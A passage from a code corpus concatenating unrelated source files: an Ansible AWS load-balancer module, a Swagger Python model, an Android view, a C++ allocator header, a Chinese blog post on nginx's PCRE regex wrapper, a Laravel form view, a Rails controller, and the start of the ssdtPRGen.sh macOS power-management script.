{'LoadBalancerNames.member.1': self.name} tagdict = dict() # get the current list of tags from the ELB, if ELB exists if self.elb: current_tags = self.elb_conn.get_list('DescribeTags', params, [('member', Tag)]) tagdict = dict((tag.Key, tag.Value) for tag in current_tags if hasattr(tag, 'Key')) # Add missing tags dictact = dict(set(self.tags.items()) - set(tagdict.items())) if dictact: for i, key in enumerate(dictact): params['Tags.member.%d.Key' % (i + 1)] = key params['Tags.member.%d.Value' % (i + 1)] = dictact[key] self.elb_conn.make_request('AddTags', params) self.changed=True # Remove extra tags dictact = dict(set(tagdict.items()) - set(self.tags.items())) if dictact: for i, key in enumerate(dictact): params['Tags.member.%d.Key' % (i + 1)] = key self.elb_conn.make_request('RemoveTags', params) self.changed=True def _get_health_check_target(self): """Compose target string from healthcheck parameters""" protocol = self.health_check['ping_protocol'].upper() path = "" if protocol in ['HTTP', 'HTTPS'] and 'ping_path' in self.health_check: path = self.health_check['ping_path'] return "%s:%s%s" % (protocol, self.health_check['ping_port'], path) def main(): argument_spec = ec2_argument_spec() argument_spec.update(dict( state={'required': True, 'choices': ['present', 'absent']}, name={'required': True}, listeners={'default': None, 'required': False, 'type': 'list'}, purge_listeners={'default': True, 'required': False, 'type': 'bool'}, instance_ids={'default': None, 'required': False, 'type': 'list'}, purge_instance_ids={'default': False, 'required': False, 'type': 'bool'}, zones={'default': None, 'required': False, 'type': 'list'}, purge_zones={'default': False, 'required': False, 'type': 'bool'}, security_group_ids={'default': None, 'required': False, 'type': 'list'}, security_group_names={'default': None, 'required': False, 'type': 'list'}, health_check={'default': None, 'required': False, 'type': 'dict'}, subnets={'default': None, 'required': False, 'type': 'list'}, purge_subnets={'default': False, 'required': False, 'type': 'bool'}, scheme={'default': 'internet-facing', 'required': False}, connection_draining_timeout={'default': None, 'required': False}, idle_timeout={'default': None, 'required': False}, cross_az_load_balancing={'default': None, 'required': False}, stickiness={'default': None, 'required': False, 'type': 'dict'}, access_logs={'default': None, 'required': False, 'type': 'dict'}, wait={'default': False, 'type': 'bool', 'required': False}, wait_timeout={'default': 60, 'type': 'int', 'required': False}, tags={'default': None, 'required': False, 'type': 'dict'} ) ) module = AnsibleModule( argument_spec=argument_spec, mutually_exclusive = [['security_group_ids', 'security_group_names']] ) if not HAS_BOTO: module.fail_json(msg='boto required for this module') region, ec2_url, aws_connect_params = get_aws_connection_info(module) if not region: module.fail_json(msg="Region must be specified as a parameter, in EC2_REGION or AWS_REGION environment variables or in boto configuration file") name = module.params['name'] state = module.params['state'] listeners = module.params['listeners'] purge_listeners = module.params['purge_listeners'] instance_ids = module.params['instance_ids'] purge_instance_ids = module.params['purge_instance_ids'] zones = module.params['zones'] purge_zones = module.params['purge_zones'] security_group_ids = module.params['security_group_ids'] security_group_names = module.params['security_group_names'] health_check = module.params['health_check'] access_logs = module.params['access_logs'] subnets = module.params['subnets'] purge_subnets = module.params['purge_subnets'] scheme = module.params['scheme'] connection_draining_timeout = module.params['connection_draining_timeout'] idle_timeout = module.params['idle_timeout'] cross_az_load_balancing = module.params['cross_az_load_balancing'] stickiness = module.params['stickiness'] wait = module.params['wait'] wait_timeout = module.params['wait_timeout'] tags = module.params['tags'] if state == 'present' and not listeners: module.fail_json(msg="At least one listener is required for ELB creation") if state == 'present' and not (zones or subnets): module.fail_json(msg="At least one availability zone or subnet is required for ELB creation") if wait_timeout > 600: module.fail_json(msg='wait_timeout maximum is 600 seconds') if security_group_names: security_group_ids = [] try: ec2 = ec2_connect(module) grp_details = ec2.get_all_security_groups() for group_name in security_group_names: if isinstance(group_name, basestring): group_name = [group_name] group_id = [ str(grp.id) for grp in grp_details if str(grp.name) in group_name ] security_group_ids.extend(group_id) except boto.exception.NoAuthHandlerFound as e: module.fail_json(msg = str(e)) elb_man = ElbManager(module, name, listeners, purge_listeners, zones, purge_zones, security_group_ids, health_check, subnets, purge_subnets, scheme, connection_draining_timeout, idle_timeout, cross_az_load_balancing, access_logs, stickiness, wait, wait_timeout, tags, region=region, instance_ids=instance_ids, purge_instance_ids=purge_instance_ids, **aws_connect_params) # check for unsupported attributes for this version of boto if cross_az_load_balancing and not elb_man._check_attribute_support('cross_zone_load_balancing'): module.fail_json(msg="You must install boto >= 2.18.0 to use the cross_az_load_balancing attribute") if connection_draining_timeout and not elb_man._check_attribute_support('connection_draining'): module.fail_json(msg="You must install boto >= 2.28.0 to use the connection_draining_timeout attribute") if idle_timeout and not elb_man._check_attribute_support('connecting_settings'): module.fail_json(msg="You must install boto >= 2.33.0 to use the idle_timeout attribute") if state == 'present': elb_man.ensure_ok() elif state == 'absent': elb_man.ensure_gone() ansible_facts = {'ec2_elb': 'info'} ec2_facts_result = dict(changed=elb_man.changed, elb=elb_man.get_info(), ansible_facts=ansible_facts) module.exit_json(**ec2_facts_result) # import module snippets from ansible.module_utils.basic import * from ansible.module_utils.ec2 import * if __name__ == '__main__': main()
dustymabe/ansible-modules-core
cloud/amazon/ec2_elb_lb.py
Python
gpl-3.0
52,548
# coding: utf-8 from __future__ import absolute_import from .base_model_ import Model from datetime import date, datetime from typing import List, Dict from ..util import deserialize_model class StorageData(Model): """ NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ def __init__(self, name=None, description=None, comment=None): """ StorageData - a model defined in Swagger :param name: The name of this StorageData. :type name: str :param description: The description of this StorageData. :type description: str :param comment: The comment of this StorageData. :type comment: str """ self.swagger_types = { 'name': str, 'description': str, 'comment': str } self.attribute_map = { 'name': 'name', 'description': 'description', 'comment': 'comment' } self._name = name self._description = description self._comment = comment @classmethod def from_dict(cls, dikt): """ Returns the dict as a model :param dikt: A dict. :type: dict :return: The StorageData of this StorageData. :rtype: StorageData """ return deserialize_model(dikt, cls) @property def name(self): """ Gets the name of this StorageData. :return: The name of this StorageData. :rtype: str """ return self._name @name.setter def name(self, name): """ Sets the name of this StorageData. :param name: The name of this StorageData. :type name: str """ self._name = name @property def description(self): """ Gets the description of this StorageData. :return: The description of this StorageData. :rtype: str """ return self._description @description.setter def description(self, description): """ Sets the description of this StorageData. :param description: The description of this StorageData. :type description: str """ self._description = description @property def comment(self): """ Gets the comment of this StorageData. :return: The comment of this StorageData. :rtype: str """ return self._comment @comment.setter def comment(self, comment): """ Sets the comment of this StorageData. :param comment: The comment of this StorageData. :type comment: str """ self._comment = comment
turdusmerula/kipartman
kipartbase/swagger_server/models/storage_data.py
Python
gpl-3.0
2,758
package com.cohenadair.anglerslog.views; import android.content.Context; import android.content.res.TypedArray; import android.util.AttributeSet; import android.widget.ImageView; import android.widget.LinearLayout; import com.cohenadair.anglerslog.R; import com.cohenadair.anglerslog.utilities.ViewUtils; /** * An abstract class that includes manipulation methods for views with a left icon. * @author Cohen Adair */ public abstract class LeftIconView extends LinearLayout { private ImageView mIconImageView; public LeftIconView(Context context, AttributeSet attrs) { super(context, attrs); } /** * Must be called by subclasses that wish to utilize the left icon. * @param resId The layout id to be inflated. */ protected void init(int resId, AttributeSet attrs) { inflate(getContext(), resId, this); mIconImageView = (ImageView)findViewById(R.id.icon_image_view); if (attrs == null) return; TypedArray arr = getContext().getTheme().obtainStyledAttributes(attrs, R.styleable.LeftIconView, 0, 0); try { setIconResource(arr.getResourceId(R.styleable.LeftIconView_iconResource, -1)); } finally { arr.recycle(); // required after using TypedArray } } public ImageView getIconImageView() { return mIconImageView; } public void setIconResource(int resId) { if (resId == -1) { ViewUtils.setVisibility(mIconImageView, false); return; } mIconImageView.setImageResource(resId); ViewUtils.setVisibility(mIconImageView, true); } }
cohenadair/anglers-log
android/app/src/main/java/com/cohenadair/anglerslog/views/LeftIconView.java
Java
gpl-3.0
1,654
#pragma once #include <windows.h> #include <algorithm> #include <neurology/allocators/void.hpp> #include <neurology/exception.hpp> namespace Neurology { /** Copy data from one process-local buffer to another. */ LONG CopyData(LPVOID destination, const LPVOID source, SIZE_T size); class KernelFaultException : public Exception { public: LONG status; Address &source, &destination; SIZE_T size; KernelFaultException(LONG status, Address &source, Address &destination, SIZE_T size); }; class LocalAllocator : public Allocator { public: static LocalAllocator Instance; class Exception : public Allocator::Exception { public: Exception(LocalAllocator &allocator, const LPWSTR message); }; LocalAllocator(void); virtual Address poolAddress(SIZE_T size); virtual Address repoolAddress(Address &address, SIZE_T newSize); virtual void unpoolAddress(Address &address); virtual Data readAddress(const Address &address, SIZE_T size) const; virtual void writeAddress(const Address &destination, const Data data); }; Allocation nrlMalloc(SIZE_T size); template <class Type> Allocation nrlMalloc(void) { return LocalAllocator::Instance.allocate<Type>(); } template <class Type> Allocation nrlMalloc(SIZE_T size) { return LocalAllocator::Instance.allocate<Type>(size); } void nrlRealloc(Allocation &allocation, SIZE_T size); template <class Type> void nrlRealloc(Allocation &allocation) { LocalAllocator::Instance.reallocate<Type>(allocation); } template <class Type> void nrlRealloc(Allocation &allocation, SIZE_T size) { LocalAllocator::Instance.reallocate<Type>(allocation, size); } void nrlFree(Allocation &allocation); }
frank2/neurology
src/include/neurology/allocators/local.hpp
C++
gpl-3.0
1,845
--- layout: post title: core/ngx_regex.h头文件分析 tags: - nginx categories: nginx description: nginx源代码分析 --- 本章我们主要讲述一下nginx中表达式匹配(ngx_regex)的实现。 <!-- more --> ## 1. ngx_regex_t数据结构 {% highlight string %} /* * Copyright (C) Igor Sysoev * Copyright (C) Nginx, Inc. */ #ifndef _NGX_REGEX_H_INCLUDED_ #define _NGX_REGEX_H_INCLUDED_ #include <ngx_config.h> #include <ngx_core.h> #include <pcre.h> #define NGX_REGEX_NO_MATCHED PCRE_ERROR_NOMATCH /* -1 */ #define NGX_REGEX_CASELESS PCRE_CASELESS typedef struct { pcre *code; pcre_extra *extra; } ngx_regex_t; {% endhighlight %} 这里```ngx_regex_t```只是对```pcre```的一个再次封装。其中: * code: 代表一个编译后的正则表达式 * extra: 用作pcre的辅助数据,一般是通过```pcre_study()```学习到的,可以加快后面的后续的匹配过程 ## 2. 数据结构 {% highlight string %} typedef struct { ngx_str_t pattern; ngx_pool_t *pool; ngx_int_t options; ngx_regex_t *regex; int captures; int named_captures; int name_size; u_char *names; ngx_str_t err; } ngx_regex_compile_t; {% endhighlight %} ```ngx_regex_compile_t```表示一个编译的正则表达式模式(pattern)。其各字段含义如下: * pattern: 对应的正则表达式模式 * pool: 所关联的内存池 * options: 执行pcre_compile()时所传递的参数 * regex: 编译完成后的pcre实例 * captures: 用于保存```pattern```中所有子模式的个数,包括命名子模式(named subpattern)和非命名子模式。 * named_captures: 用于保存```pattern```中命名子模式的个数 * name_size: ```name table```中每一项的大小 * names: ```name table```的入口地址 * err: 用于存放相应的错误 ## 3. ngx_regex_elt_t数据结构 {% highlight string %} typedef struct { ngx_regex_t *regex; u_char *name; } ngx_regex_elt_t; {% endhighlight %} 存放到```ngx_pcre_studies```链表中的元素, 其中各字段含义如下: * regex: pattern编译完成后的pcre实例 * name: 保存对应的Pattern ## 4. 相关函数声明 {% highlight string %} //初始化nginx pcre void ngx_regex_init(void); //pcre pattern,封装了pcre_compile() ngx_int_t ngx_regex_compile(ngx_regex_compile_t *rc); //pcre_exec()的包装 #define ngx_regex_exec(re, s, captures, size) \ pcre_exec(re->code, re->extra, (const char *) (s)->data, (s)->len, 0, 0, \ captures, size) #define ngx_regex_exec_n "pcre_exec()" //将字符串s匹配模式数组中的所有模式 ngx_int_t ngx_regex_exec_array(ngx_array_t *a, ngx_str_t *s, ngx_log_t *log); {% endhighlight %} ## 5. 附录: PCRE库中pcre_fullinfo混合子模式调用结果 {% highlight string %} #include <stdio.h> #include <stdlib.h> #include <pcre.h> #define NGX_REGEX_CASELESS PCRE_CASELESS typedef struct { pcre *code; pcre_extra *extra; } ngx_regex_t; int main(int argc, char *argv[]) { pcre *re; const char *errstr; int erroff; char *data = "(eeeee)(?<abb> exception)(?<adfa>xydz)(ddddd)\\k<abb>\\1\\2"; int captures = 0; int named_captures = 0; int name_entrysize = 0; char *name_entry; char *p; int i,j,n; printf("pattern: %s\n\n", data); re = pcre_compile(data, PCRE_CASELESS, &errstr, &erroff, NULL); if(NULL == re) { printf("compile pcre failed\n"); return 0; } //1) get all subpatterns count n = pcre_fullinfo(re, NULL, PCRE_INFO_CAPTURECOUNT, &captures); if(n < 0) { printf("pcre_fullinfo PCRE_INFO_CAPTURECOUNT failed %d \n", n); return 0; } printf("captures %d \n", captures); //2) get named subpatterns count n = pcre_fullinfo(re, NULL, PCRE_INFO_NAMECOUNT, &named_captures); if(n < 0) { printf("pcre_fullinfo PCRE_INFO_NAMECOUNT failed %d \n", n); return 0; } printf("named_captures %d \n", named_captures); //3) get name table entry n = pcre_fullinfo(re, NULL, PCRE_INFO_NAMETABLE, &name_entry); if(n < 0) { printf("pcre_fullinfo PCRE_INFO_NAMETABLE failed %d \n", n); return 0; } p = name_entry; //4) get every entry size n = pcre_fullinfo(re, NULL, PCRE_INFO_NAMEENTRYSIZE, &name_entrysize); if(n < 0) { printf("pcre_fullinfo PCRE_INFO_NAMEENTRYSIZE failed %d \n", n); return 0; } printf("name_entrysize %d \n", name_entrysize); //5) print all named entry for(i = 0; i < named_captures; i++) { for(j = 0; j < 2; j++) { printf("%x ", p[i]); } printf("entry: %s\n", &p[2]); p += name_entrysize; } return 1; } {% endhighlight %} 编译运行: {% highlight string %} # gcc -c -o test.o test.c # gcc -o test test.o -lpcre # ./test pattern: (eeeee)(?<abb> exception)(?<adfa>xydz)(ddddd)\k<abb>\1\2 captures 4 named_captures 2 name_entrysize 7 0 0 entry: abb 3 3 entry: adfa {% endhighlight %} <br /> <br /> **[参看]** 1. [Nginx模块开发中使用PCRE正则表达式匹配](https://blog.x-speed.cc/archives/38.html) 2. [nx单独使用pcre的一个小坑](http://dinic.iteye.com/blog/2057150) 3. [深入解析Nginx的pcre库及相关注意事项](https://blog.csdn.net/deltatang/article/details/8754002) 4. [Nginx模块开发中使用PCRE正则表达式匹配](https://blog.x-speed.cc/archives/38.html) 5. [pcre官网](http://www.pcre.org/) 6. [PCRE接口pcre_fullinfo混合子模式调用结果](https://blog.csdn.net/zwleagle/article/details/8563364) 7. [正则表达式30分钟入门教程](https://blog.csdn.net/wushuai1346/article/details/7180920#backreference) <br /> <br /> <br />
ivanzz1001/records
_posts/nginx/2018-11-20-nginx-source_part56_3.md
Markdown
gpl-3.0
5,671
@extends('layouts.master') @section('header-title') Edit education degree @stop @section('stylesheets') <link rel="stylesheet" href="{{ asset('css/profile_page.css')}}"> <link rel="stylesheet" href="{{ asset('css/edit_user.css')}}"> @stop @section('content') <div class="content-wrapper"> <section class="content"> <div class="row"> <div class=" col-md-6"> <h3>Edit education degree</h3> <!-- D?t de tableau --> <div class="box"> <div class="box-header with-border"> <h3 class="box-title">Details</h3> </div><!-- /.box-header --> <div class="box-body"> <div class="alert alert-danger alert-dismissable" id="flash_info" hidden="hidden"> <button class="close" aria-hidden="true" data-dismiss="alert" type="button">x</button> <h4> <i class="icon fa fa-ban"></i> Alert! </h4> <span id="msg"></span> </div> <form action="#" id="edit_job" onsubmit="return false;"> <div class="form-group"> <label for="input_name">Name*</label> <input type="text" class="form-control" name="input_name" id="input_name"> </div> </form> </div> <div class="box-footer"> <span><button class="btn btn-default pull-left" id="cancel">Cancel</button></span> <span><button class="btn btn-info pull-right" type="submit" form="edit_job" id="save_btn">Save</button></span> </div> </div> </div> </div> </section> </div> @stop @section('script-footer') <script src="{{asset('js/main.js')}}"></script> <script src="{{asset('js/i18n.js')}}"></script> <script src="{{asset('js/settings/educationdegrees/item.js')}}"></script> <script src="{{asset('js/app.min.js')}}"></script> <!--<script src="{{asset('js/demo.js')}}"></script>--> <script src="{{asset('/plugins/purl/purl.js')}}"></script> <script src="{{asset('/plugins/jQueryvalidate/jquery.validate.min.js')}}"></script> <script src="{{asset('/plugins/slimScroll/jquery.slimscroll.min.js')}}"></script> <script src="{{asset('/plugins/fastclick/fastclick.min.js')}}"></script> @stop
ntja/smartschool
v1/admin/resources/views/settings/educationdegrees/item.blade.php
PHP
gpl-3.0
2,319
module Api module V1 class ApplicationsController < ApplicationController before_action :identity def index applications = Application.all render json: applications, status: :ok end def show logger.info "#{__method__}" id = params[:id] application= Application.find(id) render json: application end def create end def identity if Application.find_by(token: request.headers['X-Auth-Token']) render json: { "message" => "application validated"}, status: :ok else render json: { "message" => "can't validate app"}, status: :unprocessable_entity #401 end end end end end
mariogalvez17/ejerciciosRankmi
ejercicio4/ejercicio4-api/app/controllers/api/v1/applications_controller.rb
Ruby
gpl-3.0
671
#!/bin/bash # # Script (ssdtPRGen.sh) to create ssdt-pr.dsl for Apple Power Management Support. # # Version 0.9 - Copyright (c) 2012 by RevoGirl # # Version 18.8 - Copyright (c) 2014 by Pike <PikeRAlpha@yahoo.com> # # Readme......: https://github.com/Piker-Alpha/ssdtPRGen.sh/blob/master/README.md # # Change log..: https://github.com/Piker-Alpha/ssdtPRGen.sh/blob/master/CHANGELOG.md # # Contributors: https://github.com/Piker-Alpha/ssdtPRGen.sh/blob/master/CONTRIBUTORS.md # # Bug reports.: https://github.com/Piker-Alpha/ssdtPRGen.sh/issues # # Please provide clear steps to reproduce the bug, the terminal output # of the script (the log data) and the resulting SSDT.dsl Thank you! # # set -x # Used for tracing errors (can be used anywhere in the script). #================================= GLOBAL VARS ================================== # # Script version info. # gScriptVersion=18.8 # # GitHub branch to pull data from (master or Beta). # gGitHubBranch="Beta" # # Github download URL. # gGitHubContentURL="https://raw.githubusercontent.com/Piker-Alpha/ssdtPRGen.sh/${gGitHubBranch}" # # Change this to 1 if you want to use the Github project directory instead of ~/Library/ssdtPRGen # let gDeveloperMode=0 # # The script expects '0.5' but non-US localizations use '0,5' so we export # LC_NUMERIC here (for the duration of the ssdtPRGen.sh) to prevent errors. # export LC_NUMERIC="en_US.UTF-8" # # Prevent non-printable/control characters (see issue #180). # unset GREP_OPTIONS unset GREP_COLORS unset GREP_COLOR # # Change this to 1 if you want to enable custom mode by default: # # Note: Custom mode will look for ~/Desktop/DSDT/APIC.aml and use that instead # of the ACPI tables (extracted during normal mode) from the host computer. # # _getProcessorNames - will use hardcoded processor names (not ioreg extracted). # _extractAcpiTables – will not extract ACPI tables. # let gCustomMode=0 # # Initial xcpm mode. Default value is -1 (uninitialised). # let gXcpm=-1 # # Change this when your CPU is stuck in Low Frequency Mode! # # 1 - Injects one extra Turbo P-State at he top with max-Turbo frequency + 1 MHz. # 2 - Injects N extra Turbo P-States at the bottom. # 3 - Injects both of them. # # Note: Will be changed to 0 in _checkForXCPM() when XCPM mode is detected. # let gIvyWorkAround=-1 # # Ask for confirmation before copying the new SSDT to the target location. # let gAutoCopy=1 # # This is the target location that ssdt.aml will be copied to. # # Note: Do no change this - will be updated automatically for Clover/RevoBoot! # gDestinationPath="/Extra/" # # This is the filename used for the copy process # gDestinationFile="ssdt.aml" # # A value of 1 will make this script call iasl (compiles ssdt_pr.dsl) # # Note: Will be set to 0 when we failed to locate a copy of iasl! # let gCallIasl=1 # # Open generated SSDT on request (default value is 2). # # 0 = don't open the generated SSDT. # 1 = open the generated SSDT in the editor of your choice. # 2 = ask for confirmation before opening the generated SSDT in the editor of your choice. # let gCallOpen=2 # 0 = no debug injection/debug statements executed. # 1 = inject debug data. # 3 = inject debug data and execute _debugPrint statements. # let gDebug=1 # # Get user id # let gID=$(id -u) # # Lowest possible idle frequency (user configurable). Also known as Low Frequency Mode. # let gBaseFrequency=1600 # # Custom ACPI processor label (initialised by _updateProcessorNames). # gProcLabel="" gProcessorNames="" # # Uncomment/change this for dry runs. # # gProcessorNames=("C000" "C001" "C002" "C003" "C100" "C101" "C102" "C103") # gProcessorNames=("C000" "C001" "C002" "C003" "C004" "C005" "C006" "C007" "C008" "C009" "C00A" "C00B") # gProcessorNames=("C000" "C001" "C002" "C003" "C004" "C005" "C006" "C007" "C008" "C009" "C00A" "C00B" "C00C" "C00D" "C00E" "C00F" \ # "C100" "C101" "C102" "C103" "C104" "C105" "C106" "C107" "C108" "C109" "C10A" "C10B" "C10C" "C10D" "C10E" "C10F") # # The Processor scope will be initialised by _initProcessorScope). # gScope="" # # Legacy RevoBoot status (default value is 0). # let gIsLegacyRevoBoot=0 # # Change this to 0 if you don't want additional styling (bold/underlined). # let gExtraStyling=1 # # Global variable used by some functions to return a value to the callee. # let gFunctionReturn=0 # # Global variable used for the used/target board-id. # gBoardID="" # # Global variable used for the used/target board-id. # gModelID="" # # Number of logical processors. # let gLogicalCPUs=0 # # Number of physical processors. # let gPhysicalCPUs=1 # # Initialised in _getScriptArguments and used in . # let gTargetProcessorType=0 # # Number of logical cores per ACPI processor scope (initialised in main). # let gLogicalCPUsPerScope=0 # # Clock frequency (uninitialised). # let gFrequency=-1 # # Set to 1 if _PR scope is found in the DSDT. # let gScopePRFound=0 # # For future use! # # Note: Set this to 0 if you want to inject ACPI Processor (...) {} declarations intead of External () objects. # let gInjectExternalObjects=1 # # Output styling. # STYLE_RESET="" STYLE_BOLD="" STYLE_UNDERLINED="" # # Other global variables. # gRevision='0x000'${gScriptVersion:0:2}${gScriptVersion:3:1}'00' # # Path and filename setup. # gHome=$(echo $HOME) gPath="${gHome}/Library/ssdtPRGen" gDataPath="${gPath}/Data" gToolPath="${gPath}/Tools" gSsdtID="ssdt" gSsdtPR="${gPath}/${gSsdtID}.dsl" gACPITablePath="${gPath}/ACPI" # # Default override path for -mode custom # # Note: Path used to convert APIC/DSDT.aml to data format. # gOverridePath="${gHome}/Desktop" let gDesktopCPU=1 let gMobileCPU=2 let gServerCPU=3 let gSystemType=0 let gACST_CPU0=13 let gACST_CPU1=7 gTargetMacModel="" let USER_DEFINED=1 let SANDY_BRIDGE=2 let IVY_BRIDGE=4 let HASWELL=8 let BROADWELL=16 let SKYLAKE=32 # # Array with configuration files (used to show version information). # gProcessorDataConfigFiles=("User Defined.cfg" "Sandy Bridge.cfg" "Ivy Bridge.cfg" "Haswell.cfg" "Broadwell.cfg" "Skylake.cfg") # # Global variable used as target cpu/bridge type. # let gBridgeType=-1 let gTypeCPU=0 let gProcessorStartIndex=0 let gLfm=0 let gTdp=0 gProcessorData="Unknown CPU" gProcessorNumber="" gBusFrequency=100 # # Set to 1 after _setDestinationPath mounted the EFI partition. # let gUnmountEFIPartition=0 gProductName=$(sw_vers -productName) gProductVersion="$(sw_vers -productVersion)" gBuildVersion=$(sw_vers -buildVersion) let gOSVersion=$(echo $gProductVersion | tr -d '.') # # Maximum Turbo Clock Speed (user configurable) # let gMaxOCFrequency=6300 let MAX_TURBO_FREQUENCY_ERROR=2 let MAX_TDP_ERROR=3 let TARGET_CPU_ERROR=4 let PROCESSOR_NUMBER_ERROR=5 let PROCESSOR_LABEL_LENGTH_ERROR=6 let PROCESSOR_NAMES_ERROR=7 let PROCESSOR_DECLARATION_ERROR=8 let FILE_NOT_FOUND_ERROR=9 let LFM_ERROR=10 # # First OS version number that no longer requires extra Low Frequency Mode P-States. # # Note: For future use (when we figured out what we need). # let LFM_REQUIRED_OS=1091 # # Setup supported byte encodings # # Note: value is number of characters that we read. # let AML_SINGLE_BYTE_ENCODING=2 let AML_DUAL_BYTE_ENCODING=4 let AML_TRIPLE_BYTE_ENCODING=6 let AML_QUAD_BYTE_ENCODING=8 # # Setup used AML encoding values. # AML_SCOPE_OPCODE=10 AML_DEVICE_OPCODE=5b82 AML_PROCESSOR_SCOPE_OPCODE=5b83 # #-------------------------------------------------------------------------------- # function _PRINT_MSG() { local message=$1 if [[ $gExtraStyling -eq 1 ]]; then if [[ $message =~ 'Aborting ...' ]]; then local message=$(echo $message | sed -e 's/^Aborting ...//') local messageType='Aborting ...' else local messageType=$(echo $message | sed -e 's/:.*//g') if [[ $messageType =~ ^"\n" ]]; then local messageTypeStripped=$(echo $messageType | sed -e 's/^[\n]*//') else local messageTypeStripped=$messageType fi local message=":"$(echo $message | sed -e "s/^[\n]*${messageTypeStripped}://") fi printf "${STYLE_BOLD}${messageType}${STYLE_RESET}$message\n" else printf "${message}\n" fi } # #-------------------------------------------------------------------------------- # function _ABORT() { _PRINT_MSG "Aborting ...\nDone.\n\n" exit $1 } # #-------------------------------------------------------------------------------- # function _printHeader() { echo '/*' > "$gSsdtPR" echo ' * Intel ACPI Component Architecture' >> "$gSsdtPR" echo ' * AML Disassembler version 20140210-00 [Feb 10 2014]' >> "$gSsdtPR" echo ' * Copyright (c) 2000 - 2014 Intel Corporation' >> "$gSsdtPR" echo ' * ' >> "$gSsdtPR" echo ' * Original Table Header:' >> "$gSsdtPR" echo ' * Signature "SSDT"' >> "$gSsdtPR" echo ' * Length 0x0000036A (874)' >> "$gSsdtPR" echo ' * Revision 0x01' >> "$gSsdtPR" echo ' * Checksum 0x00' >> "$gSsdtPR" echo ' * OEM ID "APPLE "' >> "$gSsdtPR" echo ' * OEM Table ID "CpuPm"' >> "$gSsdtPR" printf ' * OEM Revision '$gRevision' (%d)\n' $gRevision >> "$gSsdtPR" echo ' * Compiler ID "INTL"' >> "$gSsdtPR" echo ' * Compiler Version 0x20140210 (538182160)' >> "$gSsdtPR" echo ' */' >> "$gSsdtPR" echo '' >> "$gSsdtPR" echo 'DefinitionBlock ("'$gSsdtID'.aml", "SSDT", 1, "APPLE ", "CpuPm", '$gRevision')' >> "$gSsdtPR" echo '{' >> "$gSsdtPR" } # #-------------------------------------------------------------------------------- # function _printExternalObjects() { # # Local variable definition. # local index local scopeIndex local maxCoresPerScope # # Local variable initialisation. # let index=0 let scopeIndex=1 # # Loop through all processor scopes. # for scope in "${gScope[@]}" do let maxCoresPerScope=($gLogicalCPUsPerScope*$scopeIndex) # # Are we done yet? # if [[ $index -eq $gLogicalCPUs ]]; then # # Yes. Bail out early. # return fi # # Are we targeting a multi-processor configuration? # if [[ $gPhysicalCPUs -gt 1 ]]; then # # Yes. Add a comment about the target device scope. # echo ' /* Device('${scope}') */' >> "$gSsdtPR" fi # # Inject External () object for each logical processor in this processor scope. # while [ $index -lt $maxCoresPerScope ]; do echo ' External ('${scope}'.'${gProcessorNames[$index]}', DeviceObj)' >> "$gSsdtPR" # # Next logical processor. # let index+=1 done # # Next processor scope. # let scopeIndex+=1 done } # #-------------------------------------------------------------------------------- # function _getPBlockAddress() { # # Get Processor Control Block (P_BLK) address from offset: 152/0x98 in FACP.aml # local data=$(xxd -s 152 -l 4 -ps "${gPath}/facp.aml") # # Convert data to Little Endian # local pblockAddress="0x${data:6:2}${data:4:2}${data:2:2}${data:0:2}" # # Increase P_BLK address with 16 # let pblockAddress+=0x10 # # Return P_BLK address + 16 # echo $(printf "0x%08x" $pblockAddress) } # #-------------------------------------------------------------------------------- # function _printProcessorDefinitions() { # # Local variable definition. # local index local scopeIndex local maxCoresPerScope local pBlockAddress=$(_getPBlockAddress) # # Local variable initialisation. # let index=0 let scopeIndex=1 # # Loop through all processor scopes. # for scope in "${gScope[@]}" do let maxCoresPerScope=($gLogicalCPUsPerScope*$scopeIndex) # # Do we have a device name? # if [[ $scope =~ ^"\_SB_." ]]; then local scopeName=$(echo $scope | sed -e 's/^\\_SB_\.//') echo ' Scope(\_SB_)' >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" echo ' Device ('$scopeName')' >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" echo ' Name (_HID, "ACPI0004")' >> "$gSsdtPR" else echo ' Scope('$scope')' >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" fi # # Inject Processor () object for each logical processor in this processor scope. # while [ $index -lt $maxCoresPerScope ]; do if [[ $scope =~ ^"\_SB_." ]]; then echo '' >> "$gSsdtPR" echo ' Processor ('${gProcessorNames[$index]}', '$index', '$pBlockAddress', Zero)' >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" echo ' Name (_HID, "ACPI0007")' >> "$gSsdtPR" echo ' Name (_STA, 0x0F)' >> "$gSsdtPR" echo ' }' >> "$gSsdtPR" else echo " Processor ("${gProcessorNames[$index]}", "$index", "$pBlockAddress", 0x06) {}" >> "$gSsdtPR" fi # # Next logical processor. # let index+=1 done if [[ $scope =~ ^"\_SB_." ]]; then echo ' }' >> "$gSsdtPR" fi echo ' }' >> "$gSsdtPR" # # # if [[ $scopeIndex -lt ${#gScope[@]} ]]; then echo '' >> "$gSsdtPR" fi # # Next processor scope. # let scopeIndex+=1 done # # Done. # } # #-------------------------------------------------------------------------------- # function _injectDebugInfo() { # # Local variable definitions/initialisation. # local turboStates=$1 local maxTurboFrequency=$2 local packageLength=$3 echo ' Method (_INI, 0, NotSerialized)' >> "$gSsdtPR" echo ' {' >> "$gSsdtPR" echo ' Store ("ssdtPRGen version....: '$gScriptVersion' / '$gProductName' '$gProductVersion' ('$gBuildVersion')", Debug)' >> "$gSsdtPR" echo ' Store ("custom mode..........: '$gCustomMode'", Debug)' >> "$gSsdtPR" echo ' Store ("host processor.......: '$gBrandString'", Debug)' >> "$gSsdtPR" echo ' Store ("target processor.....: '$gProcessorNumber'", Debug)' >> "$gSsdtPR" echo ' Store ("number of processors.: '$gPhysicalCPUs'", Debug)' >> "$gSsdtPR" echo ' Store ("baseFrequency........: '$gBaseFrequency'", Debug)' >> "$gSsdtPR" echo ' Store ("frequency............: '$frequency'", Debug)' >> "$gSsdtPR" echo ' Store ("busFrequency.........: '$gBusFrequency'", Debug)' >> "$gSsdtPR" echo ' Store ("logicalCPUs..........: '$gLogicalCPUs'", Debug)' >> "$gSsdtPR" echo ' Store ("maximum TDP..........: '$gTdp'", Debug)' >> "$gSsdtPR" echo ' Store ("packageLength........: '$packageLength'", Debug)' >> "$gSsdtPR" echo ' Store ("turboStates..........: '$turboStates'", Debug)' >> "$gSsdtPR" echo ' Store ("maxTurboFrequency....: '$maxTurboFrequency'", Debug)' >> "$gSsdtPR" # # Ivy Bridge workarounds requested? # if [[ $gIvyWorkAround -gt 0 ]]; then echo ' Store ("IvyWorkArounds.......: 